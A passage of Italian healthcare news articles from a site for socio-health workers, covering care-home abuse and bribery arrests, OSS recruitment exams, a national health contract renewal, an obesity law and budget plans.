della struttura alla direzione dell'ente che gestisce la casa di riposo. Notati comportamenti anomali durante l'accompagnamento degli ospiti nelle attività igieniche, la direzione ha richiesto l'intervento dei carabinieri. Tra metà ottobre e fine novembre 2025 sono state installate telecamere nascoste, che in poche settimane hanno registrato una serie di condotte ritenute dagli investigatori "plurime e sistematiche": costrizioni ad atti sessuali, manipolazioni durante l'igiene personale, intrusioni notturne nelle stanze e diversi episodi di aggressioni fisiche e verbali. Le vittime accertate sono tre donne e un uomo, tra gli 82 e i 91 anni, in condizioni cliniche tali da non poter riferire autonomamente quanto subito. Alcune frasi intercettate dalle registrazioni - "Non c'è niente da sistemare, i miei organi non sono un giocattolo" - sono state riportate integralmente nell'ordinanza cautelare. La Procura ha sottolineato la gravità delle accuse, aggravate dalla qualifica dell'indagato come incaricato di pubblico servizio e dall'abuso della relazione di fiducia insita nel ruolo assistenziale. L'uomo, 47 anni, residente a Torre del Greco, lavorava nella struttura da diversi anni. Reazioni della struttura e le implicazioni per la tutela degli anziani fragili La direzione, ha espresso profondo rammarico per quanto emerso dalle indagini. Contattato dalla stampa, il rappresentante legale, ha sottolineato come l'intera vicenda sia stata segnalata tempestivamente dalla stessa struttura: una decisione che, secondo il sacerdote, testimonia "la massima vigilanza interna e la volontà di tutelare gli ospiti più fragili". Parallelamente, la fondazione ha incaricato i propri legali di valutare gli eventuali provvedimenti nei confronti dell'operatore coinvolto. Nella struttura prestano servizio sia dipendenti diretti della fondazione, sia personale proveniente da una cooperativa esterna; l'OSS arrestato risulta appartenere al primo gruppo. Il caso di Capri rilancia un tema delicato e centrale per il settore: la sicurezza nelle RSA e nelle strutture per anziani con vulnerabilità fisiche e cognitive. Gli episodi di abuso che negli ultimi anni hanno interessato varie realtà nazionali evidenziano la necessità urgente di rafforzare i sistemi di protezione. Ciò include un miglioramento delle procedure di supervisione del personale, soprattutto nei reparti dove l'assistenza richiede un maggior livello di prossimità e dove il paziente dipende completamente dagli operatori. Tra le misure individuate come prioritarie figurano l'implementazione di sistemi di videosorveglianza controllata, la definizione di protocolli chiari sulle attività svolte in solitudine dagli operatori, l'istituzione di procedure obbligatorie di segnalazione interna e la formazione continua sugli aspetti deontologici ed etici dell'assistenza. Si tratta di strumenti essenziali per garantire la... --- > Arrestato in flagranza il primario di Nefrologia del Sant'Eugenio: avrebbe ricevuto una tangente da 3mila euro. Indagini su un sistema di favori e pazienti indirizzati. - Published: 2025-12-07 - Modified: 2025-12-07 - URL: https://ossinreparto.it/news/2025/12/07/primario-sant-eugenio-arrestato-tangenti-chi-e-roberto-palumbo/ - Categorie: Cronaca Il direttore di Nefrologia del Sant’Eugenio sorpreso mentre riceveva 3mila euro: indagini su un possibile sistema di tangenti legato all’indirizzamento dei pazienti verso strutture private. Il direttore dell'Unità operativa complessa di Nefrologia dell'ospedale Sant'Eugenio di Roma, Roberto Palumbo, è stato arrestato giovedì scorso dagli agenti della Squadra Mobile mentre riceveva una somma in contanti da un imprenditore del settore sanitario. L'episodio, confermato da fonti investigative, riguarda un presunto pagamento illecito da 3. 000 euro consegnato da Maurizio Terra, amministratore unico della società Dialeur, attiva nella fornitura di apparecchiature per la dialisi. Anche l'imprenditore è stato fermato. La notizia è emersa soltanto nelle ultime ore, mentre la Procura, con il coordinamento dell'aggiunto Giuseppe De Falco, ha chiesto la convalida delle misure cautelari. Il primario si trova attualmente in carcere, mentre per Terra sono stati disposti gli arresti domiciliari. Il gip non ha ancora sciolto la riserva, ma il fascicolo si è già ampliato: sarebbero dodici, al momento, le persone indagate a vario titolo. Un passaggio di denaro ripreso dagli investigatori Secondo la ricostruzione degli inquirenti, gli agenti avrebbero documentato il momento in cui il denaro veniva consegnato al medico. L'ipotesi accusatoria è che la somma rappresentasse una tangente nell'ambito di un sistema più esteso di utilità e favori in cambio dell'indirizzamento di pazienti dimessi dall'ospedale verso specifiche strutture private del Lazio, alcune delle quali specializzate in trattamenti di emodialisi. In questo schema, gli imprenditori coinvolti avrebbero ottenuto un vantaggio economico intercettando pazienti che necessitavano di cure continuative, mentre i pagamenti al primario sarebbero stati occultati tramite false fatture emesse da una società di copertura creata appositamente. Gli investigatori non escludono che altri medici possano avere beneficiato dello stesso meccanismo corruttivo. Chi è il primario arrestato Roberto Palumbo è una figura di riferimento nella nefrologia regionale: oltre al ruolo nell’ospedale Sant'Eugenio, ha fatto parte della Commissione regionale di vigilanza sull’emodialisi e del Coordinamento della rete Nefrologica Ospedale-Territorio del Lazio. La sua posizione, sottolineano gli inquirenti, gli avrebbe garantito un ruolo strategico nei percorsi clinici e nell’indirizzamento dei pazienti dopo la dimissione. Indagine in corso: ipotesi di un sistema corruttivo strutturato Gli investigatori stanno ora analizzando movimenti di denaro, flussi di pazienti e rapporti tra operatori pubblici e strutture private del settore nefrologico. L’obiettivo è individuare eventuali responsabilità condivise e verificare se il caso sia l’emersione di un fenomeno sistemico. La Procura ipotizza un meccanismo collaudato, alimentato da rimborsi sanitari e da interessi economici legati alla dialisi, tra i trattamenti più costosi e continuativi del Servizio sanitario nazionale. Il quadro accusatorio è ancora in evoluzione e la decisione del gip nelle prossime ore darà un primo segnale sulla solidità degli elementi raccolti. --- > Invia la tua testimonianza da OSS e partecipa alla raccolta di storie che saranno pubblicate nel nostro nuovo libro. Condividi la tua esperienza! - Published: 2025-12-05 - Modified: 2025-12-05 - URL: https://ossinreparto.it/news/2025/12/05/storie-oss-nuovo-libro-testimonianze/ - Categorie: News Invia la tua testimonianza da OSS e partecipa alla raccolta di storie che saranno pubblicate nel nostro nuovo libro. Condividi la tua esperienza! Stiamo completando l'impaginazione del nostro nuovo libro dedicato alla professione dell'Operatore Socio Sanitario, e questa volta vogliamo fare qualcosa di speciale: dare spazio alle vostre voci. Ogni giorno, negli ospedali, nelle strutture e nelle case delle persone, vivete momenti che lasciano un segno. Alcuni fanno sorridere, altri commuovono, altri ancora ricordano perché avete scelto questa professione... e perché continuate a svolgerla con così tanta dedizione. Per questo, alla fine del libro inseriremo una sezione speciale dedicata alle testimonianze degli OSS. Vorremmo raccogliere un tuo breve racconto, un episodio che ti è rimasto nel cuore, un attimo che rappresenta quello che significa davvero essere OSS. Non cerchiamo storie perfette:cerchiamo momenti veri. Quelli che solo chi vive questo lavoro può capire davvero. Vuoi partecipare? Condividi la tua esperienza compilando il modulo qui sotto. Tra tutte le testimonianze raccolte ne selezioneremo alcune da pubblicare nelle pagine finali del libro. Grazie di cuore per tutto ciò che fai, ogni giorno. Siamo felici di poter dare spazio alla tua voce. --- > Mantova introduce l’OSS mediatore in Pronto Soccorso: nuova figura per accoglienza, sicurezza e gestione dei flussi. Ecco come funziona. - Published: 2025-12-02 - Modified: 2025-12-02 - URL: https://ossinreparto.it/news/2025/12/02/mantova-oss-mediatore-pronto-soccorso-novita-2025/ - Categorie: Attualità - Tag: Lavorare come OSS Mantova introduce l’OSS mediatore in Pronto Soccorso: nuova figura per accoglienza, sicurezza e gestione dei flussi. Ecco come funziona. Dal 1° dicembre il Pronto Soccorso di Mantova introduce una novità destinata a migliorare l'esperienza dei pazienti e il lavoro delle équipe cliniche. È entrata infatti in servizio la figura dell'OSS mediatore, un operatore socio-sanitario formato per gestire l'accoglienza, orientare le persone nei percorsi interni e facilitare la comunicazione tra utenti e personale sanitario. Una scelta organizzativa che segna un passo avanti nella gestione dei flussi e nella sicurezza degli ambienti, soprattutto in un periodo in cui gli accessi al Pronto Soccorso restano elevati e spesso complessi. Una figura ponte tra triage, pazienti e sala d'attesa L'OSS mediatore nasce all'interno di un progetto guidato dalla coordinatrice infermieristica Lucia Fontana. Questa figura svolge il ruolo di interfaccia diretta tra triage e sala d'attesa, offrendo supporto ai pazienti - in particolare anziani, fragili o persone che incontrano difficoltà linguistiche o comunicative. I compiti principali includono: accoglienza e orientamento degli utenti; assistenza a chi presenta bisogni specifici; regolazione degli accessi alle aree operative; gestione del dialogo con accompagnatori e familiari; informazione sui tempi e sulle fasi del percorso di cura; supporto nella gestione dei flussi per prevenire situazioni critiche o conflittuali. L'obiettivo è migliorare l'ordine e la comprensione del percorso di emergenza, riducendo stress e disorientamento. Supporto all'équipe e più tempo per l'assistenza clinica La figura dell'OSS mediatore non sostituisce medici o infermieri, ma li affianca, liberando tempo prezioso per l'assistenza sanitaria. "È la prima di una serie di iniziative - spiega Massimo Amato, direttore della Medicina d'Urgenza e del Dipartimento di Emergenza-Urgenza - pensate per rendere più accogliente e sicuro il primo contatto con il Pronto Soccorso. L'OSS mediatore integra il lavoro clinico e migliora la gestione dei percorsi". Una presenza che aiuta anche a ridurre sovraffollamenti impropri, limitare l'accesso di più accompagnatori e mantenere un ambiente più sicuro e controllato. I vertici ASST Mantova: "Una riorganizzazione necessaria" La Direzione Strategica ha espresso pieno sostegno al progetto. La DG Anna Gerola sottolinea come l'iniziativa rappresenti "l'inizio di un percorso di riorganizzazione più vicino ai bisogni dell'utenza", ringraziando tutto il personale coinvolto. Il Direttore Sanitario Marianna Lorenzoni ha ribadito l'importanza di investire su professionalità capaci di gestire non solo l'aspetto clinico, ma anche quello relazionale e organizzativo del Pronto Soccorso. Un modello replicabile? L'introduzione dell'OSS mediatore a Mantova apre la strada a un possibile nuovo standard organizzativo nei Pronto Soccorso italiani. Un ruolo che valorizza la professione OSS e risponde alle crescenti esigenze di comunicazione, sicurezza e gestione dei flussi in emergenza. --- - Published: 2025-12-02 - Modified: 2025-12-02 - URL: https://ossinreparto.it/news/2025/12/02/concorso-infermieri-oss-puglia-2025-bando-2000-posti-domanda-scarti/ - Categorie: Avvisi Pubblici, Concorsi - Tag: Lavorare come OSS Pubblicati in Gazzetta i bandi per 2.000 posti tra infermieri e OSS in Puglia. Domande online entro il 21 dicembre 2025. Requisiti, prove e come candidarsi. La Regione Puglia apre ufficialmente una delle più vaste campagne di reclutamento degli ultimi anni nel Servizio Sanitario Regionale: sono stati pubblicati in Gazzetta Ufficiale due bandi unici, dedicati rispettivamente a 1. 000 infermieri e 1. 000 Operatori Socio-Sanitari (OSS), per un totale di 2. 000 posti a tempo indeterminato. Si tratta di due procedure centralizzate, pensate per velocizzare le assunzioni e distribuire il personale su tutte le aziende sanitarie, ospedaliere e IRCCS del territorio. Le domande possono essere inviate solo online e entro il 21 dicembre 2025, tramite SPID. Concorso Infermieri Puglia 2025: 1. 000 posti a tempo indeterminato in tutte le ASL e ospedali Il Concorso Infermieri Unico Regione Puglia 2025 è stato pubblicato nella Gazzetta Ufficiale n. 91 del 21 novembre 2025 e mette a disposizione 1. 000 posti di infermiere categoria D da distribuire in tutte le ASL pugliesi (Bari, BAT, Brindisi, Foggia, Lecce e Taranto), oltre che nelle Aziende Ospedaliero-Universitarie e negli IRCCS regionali. Capofila del bando è l'ASL Bari, che gestirà la procedura per conto di tutte le strutture partecipanti. Scadenza: 21 dicembre 2025, ore 23:59Contributo di partecipazione: €10Contratto: tempo indeterminato Requisiti principali Laurea in Infermieristica (L/SNT1) Iscrizione all'Ordine delle Professioni Infermieristiche (OPI) Cittadinanza italiana o equiparata Prove d'esame La selezione prevede: Prova scritta (quiz a risposta multipla su clinica infermieristica, legislazione sanitaria, sicurezza, codice deontologico) Prova pratica Prova orale È prevista anche la valutazione dei titoli professionali. Concorso OSS Puglia 2025: 1. 000 posti a tempo indeterminato. Bando dell'AOU Ospedali Riuniti di Foggia Parallelamente al concorso infermieri, è stato pubblicato anche il bando unico regionale per 1. 000 OSS, anch'esso in Gazzetta Ufficiale n. 91 del 21/11/2025. La procedura è coordinata dall'AOU Ospedali Riuniti di Foggia, che gestirà il concorso per tutti gli enti del Sistema Sanitario Regionale pugliese. Posti disponibili 1. 000 posti di Operatore Socio-Sanitario - categoria B/BSUtilizzabili per: assunzioni a tempo indeterminato assunzioni a tempo determinato scorrimenti graduatorie e copertura del turn over Requisiti Qualifica OSS da 1. 000 ore (corso regionale) Licenza media Cittadinanza italiana o UE Prove d'esame Il concorso prevede due prove: Prova scritta su: igiene, assistenza di base, mobilizzazione, alimentazione, sicurezza, elementi di anatomia e fisiologia. Prova orale su materie socio-sanitarie e organizzative, più verifica competenze informatiche e lingua straniera. Come presentare domanda: procedura online passo dopo passo Le domande devono essere inoltrate esclusivamente tramite i portali telematici indicati nei bandi. Per candidarsi occorrono: credenziali SPID documento d'identità eventuali titoli valutabili (servizi, attestati, specializzazioni) pagamento contributo di €10 Si consiglia di non aspettare l'ultimo giorno, poiché il sistema potrebbe risultare sovraccarico. Banca dati, manuali e preparazione: come studiare efficacemente Sebbene al momento non sia prevista una banca dati ufficiale pubblica, è possibile prepararsi con: manuali aggiornati per concorsi infermieri e OSS eserciziari di quiz a risposta multipla simulazioni online linee guida del Ministero della Salute Codice Deontologico FNOPI / Documenti formativi OSS Per gli infermieri, consigliati anche gli approfondimenti su: gestione del rischio clinico normativa 81/2008 triage e emergenza-urgenza protocolli infermieristici (SOFA, NEWS, BLS/ACLS concettuali) Perché... --- > La Sipps interviene sul caso dei bambini cresciuti nei boschi di Palmoli: "Garantire igiene, scuola, vaccinazioni e un ambiente sicuro per il loro sviluppo". - Published: 2025-11-27 - Modified: 2025-11-27 - URL: https://ossinreparto.it/news/2025/11/27/famiglia-nel-bosco-sipps-allarme-bambini-igiene-scuola-vaccini/ - Categorie: Cronaca La Sipps interviene sul caso dei bambini cresciuti nei boschi di Palmoli: "Garantire igiene, scuola, vaccinazioni e un ambiente sicuro per il loro sviluppo". La vicenda dei tre bambini cresciuti nei boschi di Palmoli, in Abruzzo, continua a scuotere opinione pubblica e ambienti sanitari. Dopo la decisione del Tribunale per i minorenni de L'Aquila di sospendere la potestà genitoriale e trasferire i piccoli in una casa famiglia a Vasto, interviene la Sipps - Società Italiana di Pediatria Preventiva e Sociale, che sottolinea l'urgenza di garantire condizioni di vita adeguate, istruzione e tutela sanitaria. In una nota affidata all'agenzia Dire, il presidente Giuseppe Di Mauro ricorda che "la salute e il benessere dei più piccoli devono essere sempre al centro di ogni decisione". Parole che arrivano mentre i genitori - che continuano a professare la loro scelta di vita nei boschi - negano di aver mai rifiutato cure o aiuti per i figli. "Riaffidare i bambini alla famiglia è possibile, ma solo in condizioni sicure" La Sipps chiarisce che l'obiettivo non è separare i minori dai genitori, ma mettere la famiglia nelle condizioni di garantire un ambiente idoneo. Secondo Di Mauro, per un eventuale percorso di rientro è indispensabile: un miglioramento drastico delle condizioni igienico-sanitarie della dimora; la presenza stabile di acqua calda e ambienti puliti e sicuri; la garanzia che i tre fratelli possano accedere a cure, servizi educativi e un contesto di sviluppo adeguato. L'attuale rudere privo di utenze e la roulotte nel bosco, precisa il pediatra, non possono assicurare standard minimi per la vita quotidiana dei bambini. Scuola e socializzazione: "Sono presidi di tutela" Un punto centrale è la scolarizzazione: la scuola, ricorda la Sipps, non è solo un luogo di apprendimento, ma un presidio di controllo, prevenzione e crescita relazionale. I tre fratelli, che non frequentavano regolarmente lezioni con i coetanei, devono poter tornare a: socializzare, sviluppare competenze cognitive, costruire relazioni stabili e protette. Una condizione considerata essenziale per ogni percorso di rientro in famiglia. Vaccinazioni e assistenza sanitaria: "Prevenzione indispensabile" Sul piano sanitario, Di Mauro chiede che venga garantita l'esecuzione dei vaccini previsti dal calendario nazionale, fondamentali per proteggere i bambini e l'intera comunità. Accanto alla prevenzione, la Sipps ritiene prioritario favorire attività extrascolastiche e relazioni con altri bambini della stessa età, "cruciali per lo sviluppo emotivo e sociale". "Pronti a collaborare con istituzioni e famiglie" La Società italiana di pediatria preventiva si dice disponibile a collaborare con: tribunali minorili, servizi sociali, istituzioni territoriali e la stessa famiglia coinvolta, per costruire un percorso che riporti i tre fratelli a una condizione di tutela piena. "La priorità è una sola: la salute e il benessere dei tre bambini", conclude Di Mauro. --- > Un OSS di 38 anni è stato denunciato per il furto di gioielli a pazienti anziane ricoverate all’ospedale di Jesi. Parte dei monili è stata recuperata. - Published: 2025-11-14 - Modified: 2025-11-14 - URL: https://ossinreparto.it/news/2025/11/14/oss-denunciato-furto-gioielli-pazienti-anziane-jesi/ - Categorie: Cronaca Un operatore socio-sanitario di 38 anni è stato denunciato dalla Polizia di Stato con l'accusa di aver sottratto monili in oro a pazienti anziane ricoverate all'ospedale "Carlo Urbani" di Jesi. La vicenda, emersa dopo alcune segnalazioni di oggetti scomparsi nelle stanze di degenza, ha portato a un'indagine coordinata dalla Procura della Repubblica di Ancona. Le denunce e l'avvio dell'indagine Tutto è iniziato nel settembre scorso, quando due familiari hanno presentato querela per la sparizione di gioielli appartenenti a donne anziane ricoverate nel reparto. La coincidenza degli episodi, avvenuti in un arco temporale ristretto, ha spinto gli investigatori ad avviare verifiche mirate. Secondo quanto ricostruito, gli agenti hanno raccolto testimonianze del personale, analizzato documenti interni e controllato diversi negozi di compravendita oro della zona per tracciare eventuali movimenti sospetti. Da questi riscontri sarebbe emerso il coinvolgimento dell'OSS 38enne, già impegnato nello stesso reparto delle vittime. Nei giorni scorsi, la Polizia ha eseguito perquisizioni personali e domiciliari nei confronti dell'indagato, oltre che sul suo veicolo e nel luogo di lavoro, in esecuzione di un decreto della Procura. L'attività ha portato al rinvenimento di parte dei gioielli scomparsi, successivamente riconsegnati a due delle pazienti derubate. Non tutto il materiale è però stato recuperato: gli investigatori stanno ora cercando di rintracciare ulteriori oggetti preziosi e di verificare se vi siano altri episodi collegati. Denuncia e misure richieste L'uomo è stato accompagnato al commissariato di Jesi, fotosegnalato e denunciato all'autorità giudiziaria per furto aggravato. La Procura ha inoltre richiesto l'applicazione di misure cautelari personali e interdittive, considerate le modalità dei fatti e il ruolo ricoperto dall'operatore all'interno della struttura sanitaria. Le verifiche proseguiranno nei prossimi giorni, sia per completare il quadro probatorio sia per individuare eventuali altri responsabili o complici. La direzione sanitaria dell'ospedale - secondo quanto trapelato - avrebbe già avviato una revisione interna delle procedure di sicurezza per prevenire nuovi episodi. Un caso che scuote il comparto socio-sanitario, dove il rapporto di fiducia tra operatori e pazienti fragili rappresenta un elemento fondamentale del percorso di cura. --- > Scopri perché sempre più OSS sognano di diventare assistenti infermieri o infermieri: crescita, formazione, riconoscimento e nuove opportunità. - Published: 2025-10-31 - Modified: 2025-10-31 - URL: https://ossinreparto.it/news/2025/10/31/oss-vogliono-diventare-assistenti-infermieri/ - Categorie: Lavoro - Tag: Assistente Infermiere, Lavorare come OSS Scopri perché sempre più OSS sognano di diventare assistenti infermieri o infermieri: crescita, formazione, riconoscimento e nuove opportunità. Negli ultimi anni, il mondo sanitario italiano sta attraversando un profondo cambiamento. Tra le novità più discusse c'è la nascita della figura dell'assistente infermiere, un ruolo intermedio tra l'Operatore Socio Sanitario (OSS) e l'infermiere, pensato per potenziare la formazione e responsabilizzare chi già opera a stretto contatto con i pazienti. Questa evoluzione professionale nasce per offrire agli OSS la possibilità di acquisire competenze sanitarie più avanzate, attraverso percorsi formativi strutturati e ore aggiuntive di tirocinio. Un passo avanti che consente di svolgere mansioni più complesse e contribuire in modo più qualificato all'assistenza sanitaria quotidiana. Rispondere alla carenza di infermieri: una necessità del sistema La figura dell'assistente infermiere non rappresenta solo un riconoscimento per gli OSS, ma anche una risposta concreta alla carenza di infermieri che affligge molte strutture italiane, pubbliche e private. Questo nuovo profilo permette di alleggerire il carico di lavoro degli infermieri, garantendo continuità e qualità nell'assistenza ai pazienti. Una sinergia che rafforza i team sanitari e migliora la gestione dei reparti, in particolare nelle strutture residenziali e ospedaliere. Per molti OSS, diventare assistente infermiere o intraprendere il percorso per diventare infermiere rappresenta una naturale evoluzione professionale. Oltre all'aumento di competenze e responsabilità, questo passaggio comporta anche maggiori opportunità occupazionali, un riconoscimento più forte del proprio ruolo e, spesso, migliori condizioni contrattuali. Al di là degli aspetti formativi e lavorativi, molti OSS scelgono di intraprendere questa strada per una ragione profonda: la volontà di contribuire in modo più diretto e qualificato alla cura delle persone. In contesti delicati come l'assistenza agli anziani, ai malati cronici o ai pazienti acuti, la figura dell'assistente infermiere può davvero fare la differenza nella qualità della cura e nel benessere dei pazienti. L'aspirazione degli OSS a diventare assistenti infermieri o infermieri risponde a un doppio bisogno: personale e collettivo. Da un lato, rappresenta un percorso di crescita e valorizzazione professionale; dall'altro, contribuisce a colmare un vuoto strutturale del sistema sanitario italiano, sempre più alla ricerca di figure competenti e preparate. --- > Firmato il rinnovo del contratto sanità 2022-2024: +172 € al mese, settimana di 4 giorni, più lavoro agile e nuova figura infermieristica. - Published: 2025-10-30 - Modified: 2025-10-30 - URL: https://ossinreparto.it/news/2025/10/30/rinnovo-contratto-sanita-2022-2024-aumenti-settimana-corta/ - Categorie: Attualità, Sanità - Tag: Assistente Infermiere Firmato il rinnovo del contratto sanità 2022-2024: +172 € al mese, settimana di 4 giorni, più lavoro agile e nuova figura infermieristica. L'ARAN ha siglato il rinnovo del contratto nazionale del comparto sanità 2022‑2024, che coinvolge circa 581 mila lavoratori del settore sanitario. L’accordo prevede un aumento medio di 172 euro lordi mensili (13 mensilità), introduzione della settimana lavorativa di 4 giorni (36 ore), ampliamento del lavoro agile e l’istituzione del nuovo profilo dell’Assistente Infermiere. Il rinnovo divide i sindacati: CGIL e UIL non hanno firmato. L’accordo è stato firmato lunedì 27 ottobre 2025 all’ARAN. Il rinnovo riguarda il triennio 2022‑2024 e si rivolge a circa 580‑581 mila dipendenti del comparto sanità, inclusa la sezione della ricerca sanitaria. Durante la trattativa, vi sono stati momenti di tensione tra sindacati e parti datoriali: CGIL e UIL hanno mantenuto il no alla firma, ritenendo insufficiente l’accordo, mentre altri sindacati come CISL FP, FIALS, Nursind e Nursing Up lo hanno sottoscritto. Il presidente dell’ARAN, Antonio Naddeo, ha parlato di “grande soddisfazione” per il risultato raggiunto. Il ministro della Pubblica Amministrazione, Paolo Zangrillo, ha annunciato che «ora bisogna guardare subito al prossimo contratto 2025‑2027». Aumenti e indennità L’accordo prevede un aumento medio di circa 172,37 euro lordi al mese per 13 mensilità, pari a un incremento medio del 6,8% rispetto alle retribuzioni attuali. Le risorse complessive stanziate ammontano a circa 1,784 miliardi di euro. Sono previste inoltre indennità specifiche per alcune categorie professionali: ad esempio 175 milioni per l’indennità pronto soccorso, 35 milioni per la specificità infermieristica, 15 milioni per la tutela del malato. Gli arretrati medi stimati per le mensilità pregresse del triennio sono di circa 1. 200 euro. Una delle novità più rilevanti è la possibilità, in via sperimentale e su adesione volontaria, di adottare una settimana lavorativa di 4 giorni, mantenendo comunque le 36 ore settimanali. Il contratto amplia il ricorso al lavoro agile, riconoscendo anche il buono pasto per chi lavora da remoto, in particolare per lavoratori con disabilità o che assistono un familiare malato. Nuovo profilo “Assistente infermiere” e carriera professionale È introdotta la nuova figura dell'Assistente Infermiere, che sotto la supervisione dell’infermiere potrà svolgere funzioni di assistenza medica e organizzativa. Inoltre, è ampliata la platea dei lavoratori che possono accedere all’ “area di elevata qualificazione”: oltre al possesso della laurea magistrale con almeno 3 anni di incarico, è prevista la possibilità per chi ha laurea triennale e almeno 7 anni di incarico di funzione. Il contratto introduce politiche di age management, ovvero misure finalizzate a migliorare le condizioni di lavoro del personale più anziano, prevedendo ad esempio limitazioni ai turni notturni per chi ha età elevata. Sono inoltre previste tutele legali e psicologiche per i lavoratori aggrediti durante il servizio: l’azienda sanitaria dovrà garantire patrocinio legale e supporto psicologico se richiesto. Mentre alcuni sindacati considerano il contratto un passo avanti, altri lo giudicano insufficiente. CGIL ha affermato che «è un contratto al ribasso che porta a una perdita media mensile di 172 euro rispetto al costo della vita», denunciando un aumento salariale inadeguato rispetto all’inflazione (+16%). Tra le critiche anche quella relativa alla figura dell’assistente infermiere: secondo alcuni sindacati essa rischia di creare confusione, sovrapposizioni di competenze e penalizzare la qualità dell’assistenza. Il... --- > L'obesità è ufficialmente riconosciuta come malattia cronica in Italia. Cure e terapie entreranno nei LEA, con fondi e formazione dedicati. - Published: 2025-10-11 - Modified: 2025-10-11 - URL: https://ossinreparto.it/news/2025/10/11/italia-obesita-riconosciuta-malattia-cronica-legge/ - Categorie: Prevenzione e stili di vita L'Italia compie un passo che potremmo definire epocale: l'obesità è ufficialmente riconosciuta per legge come malattia cronica, progressiva e recidivante. Dopo mesi di dibattito parlamentare, il provvedimento è stato approvato in via definitiva dal Senato, segnando un cambio di prospettiva profondo nel modo in cui il nostro Paese affronta un tema di salute pubblica troppo a lungo sottovalutato. Cosa prevede la nuova legge Con il riconoscimento dell'obesità come patologia cronica, le cure e i percorsi terapeutici entreranno nei Livelli Essenziali di Assistenza (LEA). In pratica, significa che visite specialistiche, programmi di prevenzione e terapie saranno coperti dal Servizio Sanitario Nazionale. Non si tratta solo di un riconoscimento simbolico. La legge stanzia fondi dedicati: 700. 000 euro per il 2025; 800. 000 per il 2026; e 1,2 milioni l'anno a partire dal 2027. Previsti anche 400. 000 euro annui per la formazione di medici, pediatri e operatori sanitari, con l'obiettivo di creare una rete di professionisti capaci di seguire in modo adeguato chi soffre di obesità. Verrà inoltre istituito un Osservatorio nazionale sull'obesità, incaricato di monitorare l'evoluzione del fenomeno, promuovere studi scientifici e coordinare gli interventi di prevenzione e cura su tutto il territorio. Fino a oggi, l'obesità era spesso trattata come una conseguenza di cattive abitudini o scelte personali. Con questa legge, l'Italia - tra i primi Paesi al mondo a farlo - riconosce che si tratta di una condizione patologica complessa, influenzata da fattori genetici, ambientali, psicologici e sociali. Le associazioni scientifiche parlano di "svolta culturale". La Società Italiana di Pediatria ha espresso "profonda soddisfazione" per un provvedimento che, sottolineano i medici, potrà finalmente ridurre lo stigma e migliorare l'accesso alle cure fin dall'infanzia. Le sfide ancora aperte Come sempre, però, il passaggio dalla teoria alla pratica sarà decisivo. Restano da definire i tempi e le modalità con cui le nuove prestazioni verranno effettivamente inserite nei LEA, e soprattutto come le Regioni riusciranno a garantire un'applicazione omogenea in tutta Italia. Gli esperti ricordano che la lotta all'obesità non si gioca solo in ospedale: servono programmi di prevenzione nelle scuole, campagne informative, e un impegno costante contro la discriminazione nei confronti di chi convive con questa condizione. Secondo le ultime stime, oltre 6 milioni di italiani soffrono di obesità, e un bambino su tre è già in sovrappeso o obeso. Dati che fotografano una vera emergenza sanitaria, con impatti non solo sulla salute individuale, ma anche sui costi del sistema sanitario e sulla produttività del Paese. --- > Dopo lo stop per presunte irregolarità, riparte il concorso OSS Campania 2025. Prove dal 3 al 7 novembre, 25mila candidati attesi. - Published: 2025-10-11 - Modified: 2025-10-14 - URL: https://ossinreparto.it/news/2025/10/11/campania-concorso-oss-1274-nuove-date-prove/ - Categorie: Concorsi, News Concorsi - Tag: Campania, Lavorare come OSS Riparte ufficialmente il concorso unico della Regione Campania, dopo lo stop dovuto da "criticità organizzative". Riparte ufficialmente il concorso unico della Regione Campania per l'assunzione di 1. 274 operatori socio-sanitari (OSS) a tempo indeterminato. Dopo settimane di incertezza, le Asl di Napoli e Salerno hanno comunicato le nuove date: le prove scritte si terranno dal 3 al 7 novembre 2025, coinvolgendo oltre 25mila candidati. Le selezioni si svolgeranno in due sedi: il Teatro Palapartenope di Napoli, dove sosterranno i test i concorrenti iscritti al bando dell'Asl Napoli 1 Centro, e il Palavesuvio di Ponticelli, destinato ai candidati del bando dell'Asl di Salerno. Ogni sessione sarà articolata in turni giornalieri, con l'obbligo di presentarsi muniti di documento d'identità valido, copia della domanda di partecipazione e penna nera o blu. L'assenza, anche per causa di forza maggiore, comporterà l'esclusione automatica dalla procedura concorsuale. Il concorso sospeso per "rischio compravendita dei posti" La riapertura del concorso arriva dopo una brusca sospensione lo scorso settembre, a soli cinque giorni dall'inizio delle prove. Le Asl di Napoli e Salerno avevano parlato genericamente di "criticità organizzative", ma in seguito il presidente della Regione Vincenzo De Luca aveva chiarito le motivazioni: il rinvio era stato deciso per presunti rischi di "compravendita di posti", con segnalazioni di offerte fino a 15mila euro per una posizione. La Procura della Repubblica ha aperto un'indagine per verificare eventuali irregolarità nella gestione del concorso, mentre la Regione ha garantito che le nuove prove si svolgeranno con supervisione delle forze dell'ordine. I sindacati del settore sanitario avevano espresso preoccupazione per un possibile annullamento della selezione, chiedendo invece di salvaguardare il bando per dare finalmente una risposta al problema del precariato negli ospedali campani. Le prove durante la campagna elettorale regionale Le prove scritte si terranno in un periodo politicamente delicato: dal 3 al 7 novembre, in piena campagna per le elezioni regionali del 23 e 24 novembre 2025. Nonostante ciò, il concorso non subirà ulteriori rinvii, garantiscono le autorità. Il bando prevede contratti a tempo indeterminato per oltre 1. 200 operatori socio-sanitari, con l'obiettivo di rafforzare gli organici delle strutture pubbliche, oggi in sofferenza per carenza di personale e turni massacranti. Il concorso rappresenta anche una opportunità professionale significativa per migliaia di OSS campani, molti dei quali attendono da anni una stabilizzazione. Un passo avanti per la sanità campana La ripresa del concorso segna un momento cruciale per la sanità pubblica regionale. Dopo mesi di polemiche e sospetti, il ritorno alle prove regolari è visto come un segnale di trasparenza e rilancio occupazionale. Se portato a termine senza intoppi, l'inserimento di oltre mille operatori socio-sanitari potrebbe alleggerire il carico di lavoro nei reparti e migliorare l'assistenza ai pazienti. Un traguardo che, come sottolineano le sigle sindacali, "deve rappresentare l'inizio di un piano più ampio di stabilizzazione e valorizzazione del personale sanitario in Campania". --- - Published: 2025-10-03 - Modified: 2025-10-03 - URL: https://ossinreparto.it/news/2025/10/03/italia-manovra-2026-tasse-sanita-giorgetti/ - Categorie: Sanità La manovra 2026 punta a ridurre le tasse sui redditi e a rifinanziare il fondo sanitario nazionale. Interventi per 16 miliardi. La prossima legge di bilancio porterà in dote circa 16 miliardi di euro di interventi, con due priorità chiare: riduzione delle tasse sui redditi da lavoro e rifinanziamento del Fondo sanitario nazionale. Lo ha annunciato il ministro dell'Economia Giancarlo Giorgetti presentando il Documento programmatico di finanza pubblica (Dpfp). Il cuore della manovra sarà una ricomposizione del prelievo fiscale: meno peso sui redditi da lavoro e nuove misure a sostegno di famiglie e 